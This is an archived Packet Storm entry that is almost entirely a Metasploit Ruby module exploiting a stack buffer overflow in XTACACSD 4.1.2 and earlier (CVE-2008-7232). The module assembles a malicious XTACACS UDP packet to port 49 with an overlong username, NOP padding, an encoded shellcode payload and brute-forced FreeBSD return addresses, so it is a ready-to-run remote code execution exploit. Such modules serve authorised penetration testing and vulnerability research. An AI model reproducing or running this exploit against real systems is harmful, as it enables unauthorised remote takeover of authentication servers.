XTACACSD 4.1.2 Buffer Overflow

2009-10-27T00:00:00
ID PACKETSTORM:82227
Type packetstorm
Reporter MC
Modified 2009-10-27T00:00:00

Description

                                        
                                            `##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Udp  
include Msf::Exploit::Brute  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'XTACACSD <= 4.1.2 report() Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in XTACACSD <= 4.1.2. By  
sending a specially crafted XTACACS packet with an overly long  
username, an attacker may be able to execute arbitrary code.   
},  
'Author' => 'MC',  
'Version' => '$Revision$',  
'References' =>   
[   
['CVE', '2008-7232'],  
['OSVDB', '58140'],  
['URL', 'http://aluigi.altervista.org/adv/xtacacsdz-adv.txt'],  
],  
'Payload' =>  
{  
'Space' => 175,  
'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20",  
'StackAdjustment' => -3500,  
'PrependEncoder' => "\x83\xec\x7f",  
'DisableNops' => 'True',  
},  
'Platform' => 'BSD',  
'Arch' => ARCH_X86,   
'Targets' =>  
[  
['FreeBSD 6.2-Release Bruteforce',  
{'Bruteforce' =>  
{  
'Start' => { 'Ret' => 0xbfbfea00 },  
'Stop' => { 'Ret' => 0xbfbfef00 },  
'Step' => 24,  
}  
},  
],  
],  
'Privileged' => true,  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jan 8 2008'))  
  
register_options([Opt::RPORT(49)], self.class)  
  
end  
  
def brute_exploit(address)  
connect_udp  
  
sploit = "\x80" # Version  
sploit << "\x05" # Type: Connect  
sploit << "\xff\xff" # Nonce  
sploit << "\xff" # Username length  
sploit << "\x00" # Password length  
sploit << "\x00" # Response  
sploit << "\x00" # Reason  
sploit << "\xff\xff\xff\xff" # Result 1  
sploit << "\xff\xff\xff\xff" # Destination address  
sploit << "\xff\xff" # Destination port  
sploit << "\xff\xff" # Line  
sploit << "\x00\x00\x00\x00" # Result 2  
sploit << "\x00\x00" # Result 3  
sploit << make_nops(238 - payload.encoded.length)  
sploit << payload.encoded + [address['Ret']].pack('V')   
  
print_status("Trying target #{target.name} #{"%.8x" % address['Ret']}...")   
udp_sock.put(sploit)  
  
disconnect_udp   
end  
  
end  
  
  
`